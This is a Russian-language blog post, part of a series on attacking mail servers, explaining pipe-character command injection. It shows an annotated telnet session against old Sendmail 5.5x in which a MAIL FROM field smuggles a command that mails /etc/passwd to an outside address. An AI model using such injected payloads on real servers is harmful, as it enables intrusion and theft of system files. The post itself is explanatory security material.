Posted by admin on Апрель 5, 2008

Атака на почтовый сервер. Часть 7.

Разработчики, использующие в свой программе библиотеки сторонних поставщиков, не всегда проверяют, как поведет себя та или иная функция, обнаружив символ конвейера, особенно если об этом ничего не написано в документации. Похожая проблема возникает и при разработке совместных проектов: один разработчик не может знать всех тонкостей функционирования модулей другого разработчика, а в результате такой нестыковки полученная программа может неявным образом поддерживать конвейер.

Например, популярный почтовый демон SendMail вплоть до версии 5.5[1] включительно содержал множество ошибок, одна из которых продемонстрирована ниже (знаком “;” обозначены комментарии):

 

·          ; Соединение с сервером жертвы по 25 порту для передачи сообщения

·          telnet kpnc.krintel.ru 25

·          220 target.com Sendmail 5.55 ready at Sun, 26 Mar 2000 16:51:12

·          ; Чествование сервера

·          helo kpnc

·          250 kpnc.krintel.ru Hello kpnc.krintel.ru [195.161.41.239]

·          ; Использование конвейера в поле MAIL FROM. Следующая команда пересылает содержимое файла паролей по

·          требуемому адресу

·          mail from: "|/bin/mail kpnc@hotmail.com < /etc/passwd"

·           250 "|/bin/mail kpnc@hotmail.com < /etc/passwd"... Sender ok

·         ; Задание заведомо неверного получателя

·          rcpt to: user12345

·           550 user12345... User unknown

·         ; Игнорирование ответа сервера и попытка ввода тела сообщения

·          data

·           354 Enter mail, end with "." on a line by itself

·         ; Содержание сообщения значения не имеет

·         .

·           250 Mail accepted

·         ; Выход

·         quit

 




[1] А может быть и более поздней, у автора не было возможности это проверить

Add A Comment